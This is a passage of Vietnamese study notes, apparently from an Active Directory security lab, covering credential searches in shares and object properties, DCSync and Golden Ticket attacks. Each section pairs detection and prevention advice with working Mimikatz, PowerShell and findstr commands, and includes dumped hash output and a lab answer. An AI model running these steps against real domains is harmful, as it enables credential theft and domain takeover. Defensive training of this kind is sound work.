[SauronEye](https://github.com/vivami/SauronEye) tồn tại, có thể quét qua một tập hợp các tệp và tìm các từ khóa phù hợp. Tuy nhiên, vì trong môi trường playground chỉ có một vài thư mục chia sẻ, nên chúng ta sẽ sử dụng phương pháp thủ công hơn (`Living Off the Land`), bằng cách sử dụng lệnh tích hợp sẵn `findstr` cho cuộc tấn công này. Khi chạy `findstr`, chúng ta sẽ chỉ định các đối số sau: * `/s` buộc phải tìm kiếm trong thư mục hiện tại và tất cả các thư mục con. * `/i` bỏ qua việc phân biệt chữ hoa chữ thường trong từ khóa tìm kiếm. `/m` chỉ hiển thị tên tệp nếu tệp đó có chứa từ khóa phù hợp. Tùy chọn này đặc biệt hữu ích trong môi trường thực tế vì số lượng văn bản trả về có thể rất lớn. Ví dụ: có thể có hàng nghìn dòng trong các script PowerShell chỉ vì chứa tham số PassThru khi bạn tìm kiếm chuỗi `pass`. * Từ khóa dùng để xác định nội dung mà chúng ta đang tìm kiếm. Những từ khóa phù hợp bao gồm: `pass`, `pw`, và tên `NETBIOS` của domain. Trong môi trường playground, tên đó là eagle. Những loại tệp hấp dẫn để thực hiện tìm kiếm bao gồm: `.bat`, `.cmd`, `.ps1`, `.conf`, `.config`, và `.ini`. Dưới đây là cách thực thi lệnh findstr để hiển thị đường dẫn của các tệp có chứa chuỗi pass tương đối với vị trí hiện tại: ![image](https://hackmd.io/_uploads/B1KuEAJHel.png) Tương tự, chúng ta có thể thực thi lệnh `findstr` với từ khóa tìm kiếm là `pw`. Lưu ý rằng nếu chúng ta **loại bỏ đối số `/m`**, thì kết quả sẽ hiển thị **chính xác dòng trong tệp** nơi chuỗi khớp được tìm thấy. ![image](https://hackmd.io/_uploads/SkifrA1Hxg.png) Một từ khóa tìm kiếm rõ ràng nhưng lại không phổ biến là tên NetBIOS của domain. Các lệnh như runas và net thường nhận mật khẩu như một đối số theo vị trí trên dòng lệnh, thay vì sử dụng các từ như pass, pw hay từ khóa tương tự. ![image](https://hackmd.io/_uploads/ry0whygrxg.png) Lệnh cuối cùng sẽ đọc tệp văn bản và hiển thị nội dung của nó, bao gồm cả thông tin đăng nhập; đây có thể là thông tin đăng nhập của tài khoản tích hợp sẵn trong domain (việc tìm thấy tài khoản có quyền domain admin trong các tệp script như vậy không phải là hiếm). Lưu ý rằng việc chạy findstr với các đối số như trên gần đây đã bị Windows Defender phát hiện là hành vi đáng ngờ. ## Prevention Thực hành tốt nhất để ngăn chặn các cuộc tấn công kiểu này là siết chặt quyền truy cập trên tất cả các thư mục chia sẻ trong domain, đảm bảo không còn quyền truy cập lỏng lẻo. Về mặt kỹ thuật, không thể ngăn người dùng để lại thông tin nhạy cảm trong các script hoặc tệp bị lộ, vì vậy việc quét định kỳ (ví dụ: hàng tuần) trong môi trường Active Directory để phát hiện các thư mục chia sẻ mới được mở hoặc thông tin đăng nhập bị lộ trong các thư mục cũ là điều cần thiết. ## Detection Việc hiểu và phân tích hành vi của người dùng là kỹ thuật phát hiện hiệu quả nhất để phát hiện việc lạm dụng thông tin đăng nhập bị lộ trong các thư mục chia sẻ. Giả sử chúng ta biết thời gian và vị trí đăng nhập của người dùng thông qua phân tích dữ liệu, thì việc cảnh báo các hành vi đáng ngờ sẽ trở nên rất dễ dàng — ví dụ như tài khoản Administrator bị lộ trong cuộc tấn công được mô tả ở trên. Nếu tổ chức sử dụng mô hình Privileged Access Workstation (PAW) một cách bài bản, thì chúng ta có thể đưa ra cảnh báo khi người dùng có quyền cao thực hiện xác thực không phải từ máy được phép. Các cảnh báo có thể dựa trên các mã sự kiện: * 4624: đăng nhập thành công * 4625: đăng nhập thất bại * 4768: yêu cầu vé Kerberos (TGT) Những sự kiện này sẽ giúp phát hiện hành vi bất thường khi thông tin đăng nhập bị lạm dụng. Dưới đây là một ví dụ về một phiên đăng nhập thành công với mã sự kiện 4624 dành cho tài khoản Administrator: ![image](https://hackmd.io/_uploads/HJw4a1xSxx.png) Tương tự, nếu Kerberos được sử dụng để xác thực, thì sẽ tạo ra mã sự kiện 4768 trong Event Log.Mã sự kiện 4768 báo hiệu rằng một Ticket Granting Ticket (TGT) đã được yêu cầu — đây là bước đầu tiên trong quá trình xác thực Kerberos. ![image](https://hackmd.io/_uploads/S1POTJgBge.png) Một kỹ thuật phát hiện khác là phát hiện các kết nối một-đến-nhiều (one-to-many), ví dụ như khi công cụ Invoke-ShareFinder quét tất cả thiết bị trong domain để thu thập danh sách các thư mục chia sẻ trên mạng.Trong trường hợp này, sẽ là bất thường nếu một máy trạm (workstation) lại thiết lập kết nối tới hàng trăm hoặc thậm chí hàng nghìn thiết bị khác cùng lúc. # 6. Credentials in Object Properties ## Description Các đối tượng trong Active Directory có rất nhiều thuộc tính khác nhau. Ví dụ, một đối tượng người dùng (user object) có thể chứa các thuộc tính như: * Tài khoản có đang hoạt động hay không * Tài khoản sẽ hết hạn khi nào * Lần cuối cùng đổi mật khẩu là khi nào * Tên của tài khoản là gì * Vị trí văn phòng và số điện thoại của nhân viên Khi quản trị viên tạo tài khoản, họ sẽ điền các thông tin này vào các thuộc tính tương ứng. Một thói quen phổ biến trước đây là thêm mật khẩu của người dùng (hoặc tài khoản dịch vụ) vào thuộc tính Description hoặc Info, vì họ nghĩ rằng cần quyền quản trị trong AD mới xem được các thuộc tính đó. Tuy nhiên, thực tế là mọi người dùng trong domain đều có thể đọc hầu hết các thuộc tính của một đối tượng (bao gồm cả Description và Info). ## Attack Một đoạn script PowerShell đơn giản có thể quét toàn bộ domain để tìm kiếm các từ khóa hoặc chuỗi cụ thể trong trường Description hoặc Info: ``` Function SearchUserClearTextInformation { Param ( [Parameter(Mandatory=$true)] [Array] $Terms, [Parameter(Mandatory=$false)] [String] $Domain ) if ([string]::IsNullOrEmpty($Domain)) { $dc = (Get-ADDomain).RIDMaster } else { $dc = (Get-ADDomain $Domain).RIDMaster } $list = @() foreach ($t in $Terms) { $list += "(`$_.Description -like `"*$t*`")" $list += "(`$_.Info -like `"*$t*`")" } Get-ADUser -Filter * -Server $dc -Properties Enabled,Description,Info,PasswordNeverExpires,PasswordLastSet | Where { Invoke-Expression ($list -join ' -OR ') } | Select SamAccountName,Enabled,Description,Info,PasswordNeverExpires,PasswordLastSet | fl } ``` Chúng ta sẽ chạy đoạn script để tìm chuỗi **"pass"**, nhằm phát hiện mật khẩu **Slavi123** nằm trong thuộc tính **Description** của người dùng **bonni**: ![image](https://hackmd.io/_uploads/HyynPbWBll.png) ## Prevention Chúng ta có nhiều cách để ngăn chặn kiểu tấn công hoặc cấu hình sai này: * Thực hiện đánh giá liên tục để phát hiện vấn đề lưu thông tin đăng nhập trong các thuộc tính của đối tượng. * Đào tạo nhân viên có quyền cao để họ tránh lưu thông tin đăng nhập trong thuộc tính của các đối tượng. * Tự động hóa tối đa quá trình tạo người dùng để đảm bảo quản trị viên không thao tác thủ công với tài khoản, từ đó giảm nguy cơ đưa thông tin đăng nhập cứng (hardcoded credentials) vào các đối tượng người dùng. ## Detection Thiết lập đường cơ sở hành vi người dùng (baselining) là kỹ thuật hiệu quả nhất để phát hiện việc lạm dụng thông tin đăng nhập bị lộ trong các thuộc tính của đối tượng. Mặc dù điều này có thể khó thực hiện với các tài khoản người dùng thông thường, nhưng việc tạo cảnh báo cho các tài khoản quản trị viên hoặc tài khoản dịch vụ, vốn có hành vi sử dụng dễ hiểu và dễ thiết lập đường cơ sở, lại dễ dàng hơn nhiều. Các công cụ tự động theo dõi hành vi người dùng đã cho thấy hiệu quả cao hơn trong việc phát hiện những lần đăng nhập bất thường. Trong ví dụ ở trên, giả sử thông tin đăng nhập thu được vẫn còn hiệu lực, ta sẽ kỳ vọng thấy các sự kiện: * 4624: Đăng nhập thành công * 4625: Đăng nhập thất bại * 4768: Yêu cầu vé TGT (Kerberos Ticket Granting Ticket) Dưới đây là ví dụ về sự kiện có ID 4768: ![image](https://hackmd.io/_uploads/Sk-7FbWHxg.png) Đáng tiếc là sự kiện có ID 4738 – được tạo ra khi một đối tượng người dùng bị chỉnh sửa – không hiển thị rõ thuộc tính nào đã bị thay đổi, cũng như không cung cấp giá trị mới của các thuộc tính đó. Vì vậy, chúng ta không thể sử dụng sự kiện này để phát hiện việc quản trị viên thêm thông tin đăng nhập vào các thuộc tính của đối tượng. ## Practice **Question: Connect to the target and use a script to enumerate object property fields. What password can be found in the Description field of the bonni user?** Mình sẽ sử dụng đoạn script trên phần Attack để giải quyết câu hỏi này, trước tiên thì phải tạo file.ps1 đã. ![image](https://hackmd.io/_uploads/Skr8bf-rex.png) Note: Tên file thì bạn có thể đặt tùy ý nhé, vì file này chúng ta sẽ Import nó vào và sử dụng tên hàm để gọi chương trình. Tiếp đến là Import-Module file vừa tạo. ![image](https://hackmd.io/_uploads/r13wfz-Sxg.png) > Nếu lỗi có thể dụng lệnh: > Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass > và thực hiện Import-Module lại nhé Sau đó ta có thể gọi hàm với tham số là chuỗi chỉ định: ![image](https://hackmd.io/_uploads/rkqaffZBel.png) ![image](https://hackmd.io/_uploads/B10iQzbrel.png) # 7. DCSync ## Description DCSync là một kỹ thuật tấn công mà các tác nhân đe dọa sử dụng để giả mạo một Domain Controller và thực hiện việc đồng bộ hóa (replication) với một Domain Controller mục tiêu nhằm trích xuất các hash mật khẩu từ Active Directory. Cuộc tấn công này có thể được thực hiện từ cả tài khoản người dùng hoặc máy tính, miễn là tài khoản đó được cấp các quyền cần thiết, bao gồm: * Replicating Directory Changes: Cho phép "nhìn thấy có gì đó thay đổi" trong AD. * Replicating Directory Changes All: Cho phép "xem cụ thể những gì đã thay đổi", bao gồm các thuộc tính nhạy cảm như hash mật khẩu. ## Attack Chúng tôi sẽ sử dụng người dùng Rocky (với mật khẩu là Slavi123) để trình bày tấn công DCSync. Khi kiểm tra các quyền của Rocky, chúng tôi thấy rằng anh ta đã được cấp hai quyền: * Replicating Directory Changes * Replicating Directory Changes All ![image](https://hackmd.io/_uploads/BkHjB4zHgx.png) Trước tiên, chúng ta cần khởi động một cửa sổ dòng lệnh mới dưới quyền của người dùng **Rocky**: ``` C:\Users\bob\Downloads>runas /user:eagle\rocky cmd.exe Enter the password for eagle\rocky: Attempting to start cmd.exe as user "eagle\rocky" ... ``` ![image](https://hackmd.io/_uploads/HkN_LNfHgl.png) Tiếp theo, chúng ta cần sử dụng **Mimikatz**, một trong những công cụ có hỗ trợ thực hiện tấn công **DCSync**. Chúng ta có thể chạy **Mimikatz** bằng cách chỉ định **tên người dùng mà chúng ta muốn lấy hash mật khẩu** (nếu cuộc tấn công thành công), trong trường hợp này là người dùng **'Administrator'**. ``` C:\Mimikatz>mimikatz.exe mimikatz # lsadump::dcsync /domain:eagle.local /user:Administrator [DC] 'eagle.local' will be the domain [DC] 'DC2.eagle.local' will be the DC server [DC] 'Administrator' will be the user account [rpc] Service : ldap [rpc] AuthnSvc : GSS_NEGOTIATE (9) Object RDN : Administrator ** SAM ACCOUNT ** SAM Username : Administrator Account Type : 30000000 ( USER_OBJECT ) User Account Control : 00010200 ( NORMAL_ACCOUNT DONT_EXPIRE_PASSWD ) Account expiration : Password last change : 07/08/2022 11.24.13 Object Security ID : S-1-5-21-1518138621-4282902758-752445584-500 Object Relative ID : 500 Credentials: Hash NTLM: fcdc65703dd2b0bd789977f1f3eeaecf Supplemental Credentials: * Primary:NTLM-Strong-NTOWF * Random Value : 6fd69313922373216cdbbfa823bd268d * Primary:Kerberos-Newer-Keys * Default Salt : WIN-FM93RI8QOKQAdministrator Default Iterations : 4096 Credentials aes256_hmac (4096) : 1c4197df604e4da0ac46164b30e431405d23128fb37514595555cca76583cfd3 aes128_hmac (4096) : 4667ae9266d48c01956ab9c869e4370f des_cbc_md5 (4096) : d9b53b1f6d7c45a8 * Packages * NTLM-Strong-NTOWF * Primary:Kerberos * Default Salt : WIN-FM93RI8QOKQAdministrator Credentials des_cbc_md5 : d9b53b1f6d7c45a8 ``` ![image](https://hackmd.io/_uploads/Hk7XvVzBel.png) Chúng ta có thể sử dụng tham số `/all` thay vì chỉ định một tên người dùng cụ thể, điều này sẽ cho phép trích xuất **toàn bộ các hash mật khẩu trong môi trường Active Directory**. Sau đó, chúng ta có thể thực hiện **pass-the-hash** với các hash đã lấy được để **xác thực vào bất kỳ Domain Controller nào**. ## Prevention Điều mà DCSync lợi dụng thực chất là một **hoạt động phổ biến trong môi trường Active Directory**, bởi vì **việc sao chép (replication)** giữa các Domain Controller diễn ra **liên tục**. Vì vậy, việc **ngăn chặn DCSync hoàn toàn bằng các thiết lập mặc định là không khả thi**. Biện pháp phòng chống duy nhất đối với kiểu tấn công này là sử dụng các giải pháp như [RPC Firewall](https://github.com/zeronetworks/rpcfirewall) – một sản phẩm của bên thứ ba cho phép **chặn hoặc cho phép các cuộc gọi RPC cụ thể** với mức độ chi tiết cao. Ví dụ, với RPC Firewall, bạn có thể **chỉ cho phép các hoạt động replication đến từ các Domain Controller**, từ đó ngăn chặn các yêu cầu DCSync trái phép từ máy trạm hoặc tài khoản không được phép. ## Detection Việc phát hiện DCSync khá dễ dàng vì mỗi lần Domain Controller thực hiện replication sẽ tạo ra một sự kiện với mã ID 4662. Chúng ta có thể nhanh chóng phát hiện các yêu cầu bất thường bằng cách giám sát sự kiện có ID này và kiểm tra xem tài khoản khởi tạo có phải là một Domain Controller hay không. Dưới đây là sự kiện đã được tạo ra trước đó khi chúng ta chạy Mimikatz; nó đóng vai trò như một cảnh báo cho thấy một tài khoản người dùng đang cố gắng thực hiện replication. ![image](https://hackmd.io/_uploads/rylfd4fHge.png) Vì việc replication diễn ra liên tục trong môi trường Active Directory, chúng ta có thể tránh cảnh báo sai (false positives) bằng cách đảm bảo các điều kiện sau: 1. Sự kiện phải chứa một trong hai mã thuộc tính sau: > 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 > 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2 → Đây là các GUID đại diện cho quyền replication nhạy cảm được sử dụng trong các cuộc tấn công như DCSync ([tham khảo thêm](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/1522b774-6464-41a3-87a5-1e5633c3fbbb)). 2. Thiết lập danh sách trắng (whitelist) cho các hệ thống hoặc tài khoản có lý do hợp lệ để thực hiện replication, chẳng hạn như: ->Azure AD Connect: dịch vụ này thường xuyên thực hiện replication từ Domain Controllers và gửi hash mật khẩu lên Azure AD. # 8. Golden Ticket ## Description Tấn công Golden Ticket của Kerberos là một kỹ thuật mà trong đó các tác nhân đe dọa (threat agents) có thể tạo hoặc sinh vé (ticket) cho bất kỳ người dùng nào trong Domain, từ đó hành xử như một Domain Controller thực thụ. Khi một Domain được tạo ra, một tài khoản đặc biệt tên `krbtgt` cũng được tạo mặc định. Đây là một tài khoản bị vô hiệu hóa, không thể xóa, đổi tên hoặc kích hoạt. Dịch vụ KDC (Key Distribution Center) của Domain Controller sử dụng mật khẩu của tài khoản krbtgt để tạo ra khóa bí mật, dùng để ký tất cả các vé Kerberos trong Domain. Hash của mật khẩu krbtgt được xem là đối tượng đáng tin cậy nhất trong toàn bộ Domain, bởi vì nó là cách mà các đối tượng xác nhận rằng vé Kerberos thực sự được cấp bởi Domain. Do đó, bất kỳ ai sở hữu hash của mật khẩu krbtgt đều có thể tạo ra vé TGT hợp lệ. Vì được ký bởi krbtgt, các vé giả mạo này vẫn được hệ thống tin tưởng và chấp nhận như vé thật. Trước đây, kẻ tấn công thậm chí có thể tạo TGT cho những người dùng không tồn tại và gán bất kỳ quyền nào cho tài khoản đó. Vì vé được ký bằng krbtgt, Domain vẫn tin tưởng tuyệt đối, hành xử như thể người dùng đó tồn tại và có đủ quyền như ghi trong vé. Tấn công Golden Ticket còn cho phép leo thang đặc quyền từ bất kỳ child domain nào lên parent domain trong cùng một forest. Do Domain không được xem là một ranh giới bảo mật tuyệt đối, ta có thể leo lên môi trường sản xuất từ một domain thử nghiệm bất kỳ. Cuộc tấn công này còn giúp kẻ tấn công duy trì sự hiện diện lâu dài trong Domain. Nó thường xảy ra sau khi kẻ tấn công đã chiếm được quyền Domain Admin (hoặc tương đương). ## Attack Để thực hiện tấn công Golden Ticket, ta có thể sử dụng công cụ Mimikatz với các tham số sau: * `/domain`: Tên của domain. * `/sid`: Giá trị SID của domain. * `/rc4`: Hash mật khẩu của tài khoản krbtgt. * `/user`: Tên người dùng mà Mimikatz sẽ tạo vé TGT cho họ. (Lưu ý: Windows Server 2019 sẽ chặn vé nếu tên người dùng không tồn tại trong domain). * `/id`: Relative ID (RID - phần cuối cùng của SID) của người dùng mà Mimikatz sẽ tạo vé. Ngoài ra, các tác nhân đe dọa nâng cao (APT) thường sẽ chỉ định thêm các giá trị cho tham số `/renewmax` và `/endin`, vì nếu không, Mimikatz sẽ tạo vé có thời gian sống lên đến 10 năm, điều này rất dễ bị phát hiện bởi các hệ thống phát hiện nâng cao như EDR: * `/renewmax`: Số ngày tối đa mà vé có thể được gia hạn. * `/endin`: Thời điểm vé hết hạn. Đầu tiên, chúng ta cần thu thập **hash mật khẩu của tài khoản `krbtgt`** và **giá trị SID của Domain**. Chúng ta có thể sử dụng **DCSync** với tài khoản **Rocky** từ cuộc tấn công trước đó để lấy hash này: ``` C:\WINDOWS\system32>cd ../../../ C:\>cd Mimikatz C:\Mimikatz>mimikatz.exe .#####. mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) ## \ / ## > https://blog.gentilkiwi.com/mimikatz '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com ) '#####' > https://pingcastle.com / https://mysmartlogon.com ***/ mimikatz # lsadump::dcsync /domain:eagle.local /user:krbtgt [DC] 'eagle.local' will be the domain [DC] 'DC1.eagle.local' will be the DC server [DC] 'krbtgt' will be the user account [rpc] Service : ldap [rpc] AuthnSvc : GSS_NEGOTIATE (9) Object RDN : krbtgt ** SAM ACCOUNT ** SAM Username : krbtgt Account Type : 30000000 ( USER_OBJECT ) User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT ) Account expiration : Password last change : 07/08/2022 11.26.54 Object Security ID : S-1-5-21-1518138621-4282902758-752445584-502 Object Relative ID : 502 Credentials: Hash NTLM: db0d0630064747072a7da3f7c3b4069e ntlm- 0: db0d0630064747072a7da3f7c3b4069e lm - 0: f298134aa1b3627f4b162df101be7ef9 Supplemental Credentials: * Primary:NTLM-Strong-NTOWF * Random Value : b21cfadaca7a3ab774f0b4aea0d7797f * Primary:Kerberos-Newer-Keys * Default Salt : EAGLE.LOCALkrbtgt Default Iterations : 4096 Credentials aes256_hmac (4096) : 1335dd3a999cacbae9164555c30f71c568fbaf9c3aa83c4563d25363523d1efc aes128_hmac (4096) : 8ca6bbd37b3bfb692a3cfaf68c579e64 des_cbc_md5 (4096) : 580229010b15b52f * Primary:Kerberos * Default Salt : EAGLE.LOCALkrbtgt Credentials des_cbc_md5 : 580229010b15b52f * Packages * NTLM-Strong-NTOWF * Primary:WDigest * 01 b4799f361e20c69c6fc83b9253553f3f 02 510680d277587431b476c35e5f56e6b6 03 7f55d426cc922e24269610612c9205aa 04 b4799f361e20c69c6fc83b9253553f3f 05 510680d277587431b476c35e5f56e6b6 06 5fe31b1339791ab90043dbcbdf2fba02 07 b4799f361e20c69c6fc83b9253553f3f 08 7e08c14bc481e738910ba4d43b96803b 09 7e08c14bc481e738910ba4d43b96803b 10 b06fca48286ef6b1f6fb05f08248e6d7 11 20f1565a063bb0d0ef7c819fa52f4fae 12 7e08c14bc481e738910ba4d43b96803b 13 b5181b744e0e9f7cc03435c069003e96 14 20f1565a063bb0d0ef7c819fa52f4fae 15 1aef9b5b268b8922a1e5cc11ed0c53f6 16 1aef9b5b268b8922a1e5cc11ed0c53f6 17 cd03f233b0aa1b39689e60dd4dbf6832 18 ab6be1b7fd2ce7d8267943c464ee0673 19 1c3610dce7d73451d535a065fc7cc730 20 aeb364654402f52deb0b09f7e3fad531 21 c177101f066186f80a5c3c97069ef845 22 c177101f066186f80a5c3c97069ef845 23 2f61531cee8cab3bb561b1bb4699cb9b 24 bc35f896383f7c4366a5ce5cf3339856 25 bc35f896383f7c4366a5ce5cf3339856 26 b554ba9e2ce654832edf7a26cc24b22d 27 f9daef80f97eead7b10d973f31c9caf4 28 1cf0b20c5df52489f57e295e51034e97 29 8c6049c719db31542c759b59bc671b9c ``` ![image](https://hackmd.io/_uploads/rJ3Px37Hlx.png) Chúng ta sẽ sử dụng hàm **Get-DomainSID** từ công cụ [PowerView](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1) để lấy giá trị **SID của Domain**. ``` PS C:\Users\bob\Downloads> powershell -exec bypass Windows PowerShell Copyright (C) Microsoft Corporation. All rights reserved. Try the new cross-platform PowerShell https://aka.ms/pscore6 PS C:\Users\bob\Downloads> . .\PowerView.ps1 PS C:\Users\bob\Downloads> Get-DomainSID S-1-5-21-1518138621-4282902758-752445584 ``` ![image](https://hackmd.io/_uploads/S1oeb27Hle.png) Bây giờ, khi đã có đầy đủ thông tin cần thiết, chúng ta có thể sử dụng **Mimikatz** để tạo một vé (ticket) cho tài khoản **Administrator**. Tham số **/ptt** cho phép Mimikatz [nạp vé vào phiên làm việc hiện tại](https://adsecurity.org/?page_id=1821#KERBEROSPTT). ``` C:\Mimikatz>mimikatz.exe .#####. mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) ## \ / ## > https://blog.gentilkiwi.com/mimikatz '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com ) '#####' > https://pingcastle.com / https://mysmartlogon.com ***/ mimikatz # kerberos::golden /domain:eagle.local /sid:S-1-5-21-1518138621-4282902758-752445584 /rc4:db0d0630064747072a7da3f7c3b4069e /user:Administrator /id:500 /renewmax:7 /endin:8 /ptt User : Administrator Domain : eagle.local (EAGLE) SID : S-1-5-21-1518138621-4282902758-752445584 User Id : 500 Groups Id : *513 512 520 518 519 ServiceKey: db0d0630064747072a7da3f7c3b4069e - rc4_hmac_nt Lifetime : 13/10/2022 06.28.43 ; 13/10/2022 06.36.43 ; 13/10/2022 06.35.43 -> Ticket : ** Pass The Ticket ** * PAC generated * PAC signed * EncTicketPart generated * EncTicketPart encrypted * KrbCred generated Golden ticket for 'Administrator @ eagle.local' successfully submitted for current session ``` ![image](https://hackmd.io/_uploads/BJy8Z3QHex.png) Kết quả đầu ra cho thấy **Mimikatz đã chèn vé vào phiên làm việc hiện tại**, và chúng ta có thể **xác minh điều đó bằng cách chạy lệnh `klist`** (sau khi thoát khỏi Mimikatz). ``` mimikatz # exit Bye! C:\Mimikatz>klist Current LogonId is 0:0x9cbd6 Cached Tickets: (1) #0> Client: Administrator @ eagle.local Server: krbtgt/eagle.local @ eagle.local KerbTicket Encryption Type: RSADSI RC4-HMAC(NT) Ticket Flags 0x40e00000 -> forwardable renewable initial pre_authent Start Time: 10/13/2022 13/10/2022 06.28.43 (local) End Time: 10/13/2022 13/10/2022 06.36.43 (local) Renew Time: 10/13/2022 13/10/2022 06.35.43 (local) Session Key Type: RSADSI RC4-HMAC(NT) Cache Flags: 0x1 -> PRIMARY Kdc Called: ``` ![image](https://hackmd.io/_uploads/Hk-tWh7rel.png) Để xác minh rằng vé đang hoạt động, chúng ta có thể **liệt kê nội dung của thư mục chia sẻ `C$` trên máy DC1** bằng cách sử dụng vé đó. ``` C:\Mimikatz>dir \\dc1\c$ Volume in drive \\dc1\c$ has no label. Volume Serial Number is 2CD0-9665 Directory of \\dc1\c$ 15/10/2022 08.30 <DIR> DFSReports 13/10/2022 13.23 <DIR> Mimikatz 01/09/2022 11.49 <DIR> PerfLogs 28/11/2022 01.59 <DIR> Program Files 01/09/2022 04.02 <DIR> Program Files (x86) 13/12/2022 02.22 <DIR> scripts 07/08/2022 11.31 <DIR> Users 28/11/2022 02.27 <DIR> Windows 0 File(s) 0 bytes 8 Dir(s) 44.947.984.384 bytes free ``` ![image](https://hackmd.io/_uploads/H1sibnQBxg.png) ## Prevention Việc ngăn chặn tạo ra các vé giả mạo là rất khó, vì **KDC cũng tạo vé hợp lệ bằng quy trình tương tự**. Do đó, một khi kẻ tấn công đã có đầy đủ thông tin cần thiết, **chúng hoàn toàn có thể giả mạo vé Kerberos**. Tuy nhiên, vẫn có một số biện pháp **mà chúng ta có thể và nên thực hiện**: * **Chặn người dùng có đặc quyền đăng nhập vào bất kỳ thiết bị nào**. * **Định kỳ đặt lại mật khẩu của tài khoản `krbtgt`**, vì **tính bí mật của hash này là cực kỳ quan trọng đối với Active Directory**. Khi đặt lại mật khẩu `krbtgt` (dù mật khẩu mạnh hay yếu), hệ thống luôn **tự sinh một mật khẩu mới ngẫu nhiên và được bảo mật bằng thuật toán mã hóa**. Việc sử dụng **script [KrbtgtKeys.ps1](https://github.com/microsoftarchive/New-KrbtgtKeys.ps1) của Microsoft** để thay đổi mật khẩu `krbtgt` là **rất được khuyến nghị**, vì nó có chế độ **audit mode** để **kiểm tra toàn bộ domain nhằm tránh ảnh hưởng khi đổi mật khẩu**. Script này cũng **ép Domain Controller (DC) đồng bộ ngay lập tức trên toàn cầu**, giúp **giảm thiểu gián đoạn hoạt động kinh doanh**. * **Bật lọc SIDHistory giữa các domain trong cùng forest**, nhằm **ngăn chặn leo thang đặc quyền từ child domain lên parent domain**. Điều này là cần thiết vì **đường leo thang đặc quyền thường lợi dụng thuộc tính `SIDHistory` bằng cách đặt nó trùng với nhóm có đặc quyền cao**, ví dụ như `Enterprise Admins`. Tuy nhiên, lưu ý rằng bật SIDHistory filtering **có thể gây ra một số sự cố khi di chuyển domain**. ## Detection Liên kết và phân tích hành vi người dùng là kỹ thuật hiệu quả nhất để phát hiện việc lạm dụng vé giả mạo. Giả sử chúng ta biết thời gian và địa điểm đăng nhập thường xuyên của một người dùng, thì việc phát hiện các hành vi bất thường sẽ trở nên dễ dàng hơn. Ví dụ, với tài khoản 'Administrator' trong cuộc tấn công đã mô tả ở trên: Nếu một tổ chức trưởng thành sử dụng Privileged Access Workstations (PAWs) (máy làm việc dành riêng cho tài khoản đặc quyền), họ cần cảnh giác với bất kỳ trường hợp nào người dùng đặc quyền đăng nhập không từ đúng các thiết bị được phép, đồng thời chủ động theo dõi các sự kiện có ID 4624 và 4625 (tương ứng với đăng nhập thành công và thất bại). Các Domain Controller sẽ không ghi log khi kẻ tấn công giả mạo vé Golden Ticket từ một máy đã bị xâm nhập. Tuy nhiên, khi vé đó được sử dụng để truy cập các hệ thống khác, chúng ta sẽ thấy các log đăng nhập thành công (ID 4624) với nguồn là máy bị xâm nhập. ![image](https://hackmd.io/_uploads/ryfRfhmrxl.png) Một điểm phát hiện khác có thể là **việc yêu cầu vé dịch vụ TGS (Ticket Granting Service)** từ một người dùng **mà trước đó không hề có vé TGT**. Tuy nhiên, việc này có thể rất **mất công** do **số lượng vé quá lớn** (và nhiều yếu tố khác). Quay lại với kịch bản tấn công, **khi chúng ta chạy lệnh `dir \\dc1\c$` ở cuối**, hành động đó đã **tạo ra hai vé TGS trên Domain Controller**. Ticket 1: ![image](https://hackmd.io/_uploads/HkuZXh7Hxl.png) Ticket 2: ![image](https://hackmd.io/_uploads/rkuz7n7Sxg.png) Điểm khác biệt duy nhất giữa các vé này là **dịch vụ được yêu cầu**. Tuy nhiên, **chúng trông hoàn toàn bình thường** so với các sự kiện tương tự **không liên quan đến Golden Ticket**. Nếu **SID filtering** được bật, ta sẽ nhận được **cảnh báo với Event ID 4675** khi xảy ra **leo thang đặc quyền giữa các domain**. Note: Nếu **rừng Active Directory (AD forest)** đã bị xâm phạm, chúng ta cần: * **Đặt lại mật khẩu cho tất cả người dùng**, * **Thu hồi toàn bộ chứng chỉ**, * Và đối với tài khoản **`krbtgt`**, **phải đặt lại mật khẩu hai lần** (trên **mọi domain** trong forest). Giá trị **password history** của tài khoản `krbtgt` là **2**, tức là nó **lưu trữ hai mật khẩu gần nhất**. Bằng cách đặt lại mật khẩu **hai lần**, ta sẽ **loại bỏ hoàn toàn mật khẩu cũ khỏi lịch sử**, từ đó **không còn Domain Controller nào có thể đồng bộ bằng mật khẩu cũ nữa**. Tuy nhiên, khuyến nghị rằng **hai lần đặt lại mật khẩu nên cách nhau ít nhất 10 giờ** (tương ứng với **thời gian sống tối đa của vé Kerberos**). Nếu thực hiện trong khoảng thời gian ngắn hơn, **một số dịch vụ có thể gặp lỗi** hoặc ngừng hoạt động. # 9. Kerberos Constrained Delegation ## Description `Kerberos Delegation` cho phép một ứng dụng truy cập vào các tài nguyên được lưu trữ trên một máy chủ khác; ví dụ, thay vì cấp quyền truy cập trực tiếp vào cơ sở dữ liệu cho tài khoản dịch vụ đang chạy web server, chúng ta có thể cho phép tài khoản đó được ủy quyền (delegated) tới dịch vụ SQL server. Khi người dùng đăng nhập vào website, tài khoản dịch vụ của web server sẽ yêu cầu quyền truy cập tới dịch vụ SQL server thay mặt cho người dùng đó, cho phép người dùng truy cập vào nội dung trong cơ sở dữ liệu mà họ đã được cấp quyền – mà không cần cấp bất kỳ quyền nào cho chính tài khoản dịch vụ của web server. Chúng ta có thể cấu hình ba loại `Kerberos Delegation` trong Active Directory: * `Unconstrained Delegation` (ủy quyền không giới hạn – rộng và dễ bị lạm dụng nhất) * `Constrained Delegation` (ủy quyền có giới hạn) * `Resource-based Delegation` (ủy quyền dựa trên tài nguyên) Việc nhận thức được rằng bất kỳ loại ủy quyền nào cũng tiềm ẩn rủi ro bảo mật là điều rất quan trọng, và chúng ta nên tránh 